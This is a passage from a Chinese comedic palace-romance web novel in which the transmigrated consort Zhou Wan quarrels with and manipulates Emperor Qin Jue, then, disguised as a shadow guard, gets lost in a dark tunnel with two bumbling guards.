我兴奋地一边抓住他的手一边掀开棉布,视线里是惊悚地看着我的——
闻鸫?!
坐在一旁未起身但是笑得暗藏杀机的秦玦锁定了我。
!!!!!!!!!
没事没事,都是小场面,我深吸一口气,抓着闻鸫向后拽,他被我甩得踉跄了几步才站稳,我顺势趴进了秦玦怀里。
“抓到皇上了。”
“我就说嘛,皇上跑不掉的。”
秦玦额上青筋直跳,他闭上眼,又睁开,死死地看着我。
“把你的手拿出来!”
我的手?
我的手在哪儿?
啊?它怎么又不跟我说一声就钻到人家的衣裳里去了,太没礼貌了吧!
我一脸愧疚地把贴在秦玦紧滑腰线上的手撕了下来。
手不听我的话,手坏,我讲礼貌,我好。
秦玦看向其他地方,“你的脸怎么样了?”
我抿了抿还有点刺痛的嘴唇,恨不得把面纱焊在脸上,含糊道:
“......哈,好多了。”
“心虚什么,”秦玦的黑眸眯了眯,“路上的时候天天喊疼,这会儿半天没见就好了?怎么,看着我影响你脸恢复了。”
“我哪里心虚了!”我摸了摸鼻子。
秦玦打量我的脸,突然伸出手,一下子扯掉了我的面纱。
淦!早知道就戴个铁口罩焊脸上了!
他视线下移,精准地停留在了我带着伤口的嘴唇上。
“这是旧伤未愈,又添新伤啊。”
“皇上我对天发誓,绝对不是你想的那样,我就是怕你多想才遮住的,其实就是单纯的上火了。”
我义正词严,“您理解一下年轻人火力旺。”
秦玦:“……确实挺旺的,都把你的脑子烧坏了吧。”
我:“……”
所以呢,打死我?
秦玦托腮,好整以暇,然后猝不及防地,扔出了一个颇为致命的问题。
“今天晚上你去哪儿了?”
我眼睛乱瞟,“我......我哪都没去啊。”
“不对吧,”他弯唇,“两个时辰前朕让御医去给你诊脉,他诊完自会回禀朕,可是到现在为止朕连他的影子都没看见。”
“怎么?盈妃娘娘晚上留下来他喝茶了?”
套路对,但是答案错了。
是你的变态弟弟以死要挟留我喝茶。
我本来不想喝的,但谁让他是你弟弟。
食指缠上他的一缕湿发,我捏着发尾在他下巴上扫了扫,却被他反攥住手腕。
“说话!”
“是!我留他喝茶了,行了吧!”我狠狠推了他一把站了起来。
“你摆明了不想相信我,既然如此,我说什么,说不说,又有什么要紧,左不过就是给你个由头再讽刺我两句。”
“我讽刺你?”秦玦也跟着站了起来,“你作为嫔妃,消失了一个晚上,我连问都不能问吗?!周妧,你别太放肆了!”
“规矩是死的……”我试图顶嘴。
“人也可以是死的。”
死字被他咬的极重。
“行,那你就杀了我呗。”
我背对着他,满是无所谓地回答,“反正我满嘴谎话,只会惹你生气。”
秦玦眼神如长刀,像是要将人劈开。
“......你再说一遍!”
强烈的压迫感让人从头到脚紧绷到痉挛眩晕。
理智告诉我,无论如何都不能再说了。
可偏偏我向来不听理智的。
“有什么可说的,你是皇上,再废了我随便丢进冷宫就是......”
“好好好!”秦玦猛地掷出书案上的青玉摆件砸在了我的脚边,咚地一声不禁让人眼蹦心跳,“来人!”
“皇上......”
李居怀率先反应过来跪在地上想要替我求情,几个较为年长负责处理宫闱秘事的宫女就已经从外室走了进来。
她们如同石塑的雕像,更像是森诡宫规礼教的化身,硬壳中是不近人情。
我转身去看秦玦,他的手撑在一侧的博古架上,眼角通红,里面尽是不加掩饰的杀意。
这一刻他恨透了我,也恨透了自己。
只要秦玦点头,今晚盈妃娘娘就能不声不响地湮灭在历史的长流中。
恨是比爱更坚固长久的东西。
我要的就是他恨我。
他越恨我,才能越在意我,越爱我。
这让我想起坐在Ewan身上掐住他脖子的时候,逐渐充血的肌肉与我掌心的力量抗衡,可男人的脖颈也并非钢筋铁骨。
他哼哼哧哧,用蹩脚的中文说道:“周妧,我一定会弄死你。”
呵呵,谁不是呢。
要不是这天杀的洋鬼子故意找我茬,
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像狗一样追着我不放,我怎么可能会被公司开除。
那可是我实习好久才得来的第一份工作!
顶头上司温柔自理,小组成员互相包庇。
真是令人心动的offer。
Ewan继续道:“打卡压点儿,开会走神儿,你还勾引组长包庇你,我让你走有什么错……啊!”
我在他身上扇了一巴掌,他叫得比拿话筒的男高音都响。
那时候还是年轻心肠好,事后被这金发碧眼的尤物晃到眼和他温情了一会儿。
结果这外国货恩将仇报缠上了我。
人会忘记自己被伤害的具体痛感,久久不忘的是痛后的抚慰。
我推开闻鸫阻拦的手,咬住嘴唇,眼泪刷地就下来了,我走到秦玦的跟前,紧紧抱住他。
“刚刚是开玩笑的,皇上别生气,我害怕。”
我颤抖着,越搂越紧,“秦玦,我不是故意惹你生气的。”
“刚刚是我糊涂了,你别放在心上好不好。”
秦玦的胸膛贴着几乎没有了温度的女人,被牵动着颤抖的下巴莫名抵在了那支极细的金簪上。
是周妧当初折磨了他的那支,让他失去过尊严的那支。
上面的花纹撕扯过他,破开男人最脆弱的皮肉,没人敢这么做过,没人敢让他疼。
他曾对自己说过,下次再拿出这支金簪,只会是亲手插进她的心脏,细细研磨,让他的所痛也成为她的所痛。
周妧的眼底依旧是片荒原。
秦玦也在恐惧。
他恐惧自己居然看的这样清楚,却还是将那支金簪重新拢入她的发间。
不该这样的。
他应该罚她,对,狠狠地罚她。
甚至……直接杀了她。
没有谁离不开谁,时间总能治愈一切。
他会回到正轨,回到自己原本的位置上去,他可是天下共主,何其尊贵威严。
荒原草野,熙攘人间,他有那么那么多唾手可得的东西,眼前这个闪着泪光可怜兮兮看着他的女人,心里怕是早就觉得自己稳操胜券。
这是个骗子,秦玦却好像控制不住自己。
“我不杀你。”
不杀我就行,我将头埋进秦玦的怀里。
我捧着他的手在我脸上扫了下,“以后我说错话,你也别生我的气行吗。”
秦玦指尖很轻地在我的脸上抚过,收拢力道,恼怒被无可奈何取代。
“知道自己会说错话就闭上嘴少说。”
我解下防寒的披风扔到一边,看着他做了个口型。
“冷。”
草原的夜晚,风声像是痛苦的悲鸣,金簪又回到了秦玦身上,他咬牙忍痛,扣着我的手却始终没有松开。
周妧简直就是这个世界上最该死的人!
下腹酸涩,隐痛还未消去,秦玦平躺着想,下次她要是再敢犯错,他一定不会心软。
身侧的呼吸声终于平稳,我移开他的手翻身下床,借着透来的月光将室内里里外外翻了个遍。
一无所获。
我要疯了!那玩意儿到底在哪儿?!
“系统!!!那他妈到底是什么啊!好像不在秦玦这儿吧?”
它无情强调:“三天,你只有三天时间。”
28. 用遇到两个神经病完成任务
三天,弹指一挥间。
我被钉在原地开始思考,三天到底能干什么,假如可以给我三天光明。
那能不能再给三天。
“你在干什么?”
秦玦声音滞涩,他抬起头,不解地看着黑暗中忙碌的我。
“在想我这么坏是不是快要遭报应了。”
他被逗笑,手放松地搭在腹间,“不用担心,迟早的事。”
我:“?”
“皇上你这么说话真的好没良心哦。”
“刚刚人家才卖力地伺候了你。”
秦玦:“......”
我没什么和他胡搅蛮缠的兴致,走到茶壶前拿起来猛灌了几口,托腮思考对策。
“……茶已经凉透了吧,渴的话叫人送壶热的进来。”
秦玦说的别扭极了,“晚上还喝这么凉的,一点好习惯都没有。”
够了,爹味很重。
“不用,”嘴唇被冰得有些麻,但我还是直接拒绝了他,因为,“凉茶败火。”
秦玦散漫倚在床上,“你哪儿来这么大的火?”
我手指圈着杯口摩挲,“你气的。”
秦玦:“。”
“你再说一遍。”
“哎呀,躁得慌呗。”
我若有所指地从头到脚打量他,“都说了是年轻人了。”
秦玦忍无可忍,“那赶紧滚出去凉快吧,也醒醒你的脑子,省得一天到晚胡言乱语。”
借着明亮的月光,我还是颠颠地爬回床上抱住了他。
秦玦:“不是让你滚了吗,敢不听朕的话?”
“我听,所以这不是赶紧滚到皇上的床上了嘛。”
“周妧!你干什么!!!”
压着他的胳膊翻身而上,我在他的唇上轻点,“皇上今晚的红衣可真好看。”
他垂眸,长睫随着呼吸一颤一颤的,“油嘴滑舌。”
“真的。”我拨弄了一下他的睫毛,攀着他的肩认真说,“特别衬你。”
秦玦扭过漫红的脸,想到了什么,压下勾起的唇角,“朕才不信。”
我自信道:“是不是知道我喜欢红色,故意穿给我看的呀?”
秦玦:“去、死、吧。”
我:“皇上有心了。”
“你再多说一个字,朕就让人把你丢出去了!”
破防什么,我挤在他的怀里,像是闲聊。
“皇上近日有什么特别的安排吗?”
秦玦眸光闪烁,“没有,怎么了?”
“没什么,”我在他的下巴上亲了口,“今天我在外头的林子里发现了一窝小兔,明天抓只最好看的给您玩玩。”
秦玦的目光向下扫去,不辨喜怒,“盈妃人呢?”
鸦雀无声。
乌殳侯低着头向左右递了个眼神,盈妃?谁是盈妃?
左右心腹用眼神传递信息,好像就是那个每天都要吃烤羊腿的女疯子。
乌殳侯:知道还不赶紧派人去找!
心腹压低声音对身后的侍从说:“去羊圈里看看,今天早晨她还在那玩小羊呢。”
闻鸫走近秦玦,耳语,“皇上,营地上下都找遍了,还是没有找到。”
秦玦唇角扯出几分笑意,气氛变得更加紧张。
“继续找。”
领头的人负手而立,不苟言笑,“这次的东西对上头来说非同小可,绝不允许出任何意外。”
黑衣面具团:“是——”
我混迹在人群里,扶了扶脸上统一制式的面具,要不是今天早上在羊圈,还真想不到能偷听着那东西的下落。
不过秦玦要它干什么?
算了,还是先顾自己吧,总不至于他没有了也会没命吧。
弯腰走过狭窄的通道,在开阔处,光线略明亮了些,道路像蛛网般散开,看得我头晕眼花。
这他妈得找到什么时候?!
领头的环顾四周,迅速下达指令,“三人一队,分头行动。”
我随便站在了两个人的身后,他们回头看了我一眼。
“你是谁?”
“一匹孤独的狼,”我转身,留下霸气侧漏的侧影,“因为从小机智过人聪明伶俐,所以我娘给我取名——”
“独孤小从。”
两人:“......”
草,好装。
“你撒谎。”
其中眼神较清澈的那个目不转睛地看着我。
“你根本就不是什么孤狼。”
哦?
我也看着他。
他迈大步走到我面前,“你应该是神话!所有影卫心中的神!”
我挣脱开被死死扒住的肩,满头黑线,你应该是神经。
他又道:“您的名字如雷贯耳耳熟能详详星拜斗斗志昂扬。”
我:“......”
草,好装。
“江二十,难道她就是?”另外一个人难以置信地看着我。
江二十还以一个激动的眼神,“我无时无刻不在心中默念您的大名。”
“冷八大人!”
冷八?那天那个在屋顶上晾着的人好像是叫这个名来着。
原来他是秦玦的人?我捂住脸,生无可恋。
怎么所有好事最后总是能落到秦玦头上。
又在他的头顶埋了个雷。
“冷八大人......”江二十关切地看着我。
我:“你为什么觉得我是冷八?”
江二十:“在一个月明星稀乌鹊南飞的晚上......”
我无情打断,“长话短说。”
他哀怨道:“这话本来就没多长,在一个月明星稀乌鹊南飞的晚上,我见到了我这一生中最崇拜的人——冷八大人!那惊鸿一瞥,他的身姿就深深地印在了我的脑海里。”
他身姿贴海报上给你洗脑了?
我:“......你确定是月明星稀不是月黑风高?”
否则怎么会看走眼这么多的。
还有,你应该也没多崇拜吧,就没见过谁走着走着被地里的一个土豆绊到然后转身跪在地上说找到了黄金的。
这人不仅眼神差,还相当不聪明。
江二十自信道:“当然,以我对大人的敬仰之情,这种事情怎么可能会记错,我见过他用剑的样子。”
巧了,我见过他贱的样子。
江二十身旁的人狐疑地看着我,倒是颇有几分聪明。
“难道您不是冷大人?”
我看起来很像是那种大半夜不睡觉跑到屋顶上装成江湖高手吓唬小姑娘实际上是高级狗腿子皇家打工人的变态吗?
负手而立,我挺直身子,“没错,我是冷八,我摊牌了。”
江二十单膝跪地,“暗卫二营江二十拜见大人!”
另一人身形微顿,才矮了下去:“暗卫二营江十九......拜见大人。”
“这是做什么,”我抬了抬手,“都起来吧,自家兄弟,不必多礼。”
江十九局促扭捏,目光落在我的身上,又立刻收了回去。
江二十:“大人,您......是男是女啊?”
我:“......”
盲点,你发现了华生。
不过你的偶像,你说了算。
江十九喝道:“大胆!大人的一切都是绝密,你怎可随意打探!”
“告诉你们也无妨,我是男非男,是女非女,外女内男,可男可女。”
对不起了冷八,反正你都被人认错成这样,可见形象没好到哪去。
江二十听得一愣一愣的,竖起大拇指,“不愧是您!”
江十九将这傻瓜扯到一旁,“这你都信?”
江二十:“为什么不信?”
他一脸忍辱负重:“她、他、它,这明显就是在......”
话还没说完,领头的人走到了我们三个所在的位置,“聊够了吗?我注意你们三个很久了。”
该死的教导主任式发言。
大发雷霆的教导主任:“来这里是让你们执行任务,不是闲聊的!回去后每人领二十板子,傻站着干嘛!还不赶紧去给我找!”
我们三个低着头挨个顺着最近的路走过去,下饺子似的。
江二十戳了戳我,“大人,咱们运气真好,这条路看起来就很有戏。”
我加快脚步,“你还是少看吧。”
冷八和我的区别,就和我跟猕猴桃是一样的。
不能因为都有毛,就说猕猴桃是人吧。
我是人,冷八才是那个猕猴桃。
不过这条路确实和其他的不太一样,越往里走越阴冷,附着在石壁上的冷气直往骨头缝里钻,氧气稀薄,火折子里的光一闪一闪的。
江二十搓了搓胳膊,“说不定来阵风咱们的火就能被吹灭了。”
一阵风吹过,三个火折子同时熄灭。
四周陷入到一种诡异的寂静和
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黑暗中,已经不能用伸手不见五指来形容,而是站在此处便不知五指是否还在手上。
极致的黑暗仿佛能剥除感官抽取灵魂,强烈的压迫感之下,我的汗越流越多,身体却越来越冷。
“江二十!!!你这个乌鸦嘴!!!!”
“我、我也不是故意的啊,”他靠在凸出来的石块上,用压痛感来保持清醒,“现在怎么办?”
“等等,我身上好像有块萤石,应该可以照明。”
江十九在身上掏啊掏,真的找出了一块会发光的石头。
当然,如果忽略它只有花生大小的话。
“哇哦,难为你了,还能记得它,”我不阴不阳地说,“麻雀虽小,你却拿出了只苍蝇。”
“那冷大人倒是牵个大象出来啊。”江十九反唇相讥,“我们陷入困境还不都是因为大人的路选得好。”
我:“啧啧啧啧,强者从不抱怨大环境,看来你和我之间差距这么大也不是没有原因的嘛。”
“……强者不抱怨环境?那你这是在干什么?”
“我是在抱怨你啊。”
江十九:“......”
他想继续开口反驳,江二十赶忙夹在中间充当和事佬,“都冷静一点,多说无用,反正现在已经不会有比这更坏的结果了。”
又是一阵风穿过,我拢了拢外裳,“你们有没有问到什么味道?”
漆黑的通道几乎将连同我们三人呼吸声在内的一切都吞噬了,却不知从什么时候飘出一股难以描述的腥臭将我们包围。
这时,我们三人才终于意识到有响动。
一种水滴声。
好像是从远处传来的,又好像就在跟前。
“江二十是吧,”我闭上了闭不闭都一样的眼睛,“从现在起,你要是再多说一句话,我就要往你的嘴里塞大粪。”
“冷八大人!”江二十一惊一乍,“您怎么能说大粪呢?!”
这种词多粗鄙啊!
我:“我是在说你。”
这种人多该死啊!
“好了,”江十九还在兢兢业业地捏着他那只会发光的苍蝇,“大不了就别去找了,恢复恢复体力,看看到时候能不能原路返回。”
???!!!!!
很好,终于有人成功地说出了我最坏的结果。
如果老天能给我一个回到过去的机会,我宁愿回到组队前,死死地抱住教导主任的大腿。
或者写一封遗书告诉世人(主要是秦玦,因为他能替我报仇),我周妧落得今日这个下场,离不开虽不默默但确实无闻的两人——江十九和江二十。
他们一个故意诅咒,一个阴暗促成,在除掉我的这件事上虽没什么主观动机但着实功不可没。
恶人江十九继续口吐恶言,“还有,在我们说话的时候,这里就开始不太对劲了。”
我:“!”
我跳到江二十身旁,死死地抱住他的大腿,蹲在地上抖作一团。
“我、我胆子小,你可不要故意吓我。”
江十九:“......吓你又升不了官。”
我:“那......那有什么不对劲?”
江十九沉默了许久,似乎是在纠结要不要告诉我们,最终他还是开了口。
“这里的石壁上好像在往外流东西。”
又是好一阵的安静,江二十动了动像是被石头压过的腿,脑子里那根名为恐惧的弦终于反应了过来。
反应过来后“啪”的一声断掉。
江二十:“!”
我:“!”
“哈哈,”我干笑两声,“十九啊,你这鬼故事讲得也太没技术含量了。”
脚步声响起,江十九在我面前站定,两根手指在我的手背上轻抹一下。
我:“你这是在干嘛?”
江十九:“感觉到了吗,是血。”
?
??
??????????
好歹毒的证明方法,好歹毒的男人!
“操!!!!!你是不是有什么大病!!!!!”
我原地跳了段电击舞,恨不得把手上的东西甩到他的脸上。
黑暗中,他声音还算镇定。
“你不是不信我吗?”
我崩溃,“那我还不信你能吃屎呢!!!你爹的怎么不给我表演一段啊!!!!”
江十九闪到一边,淡定道:“人贵有自知之明,这个我的确不能。”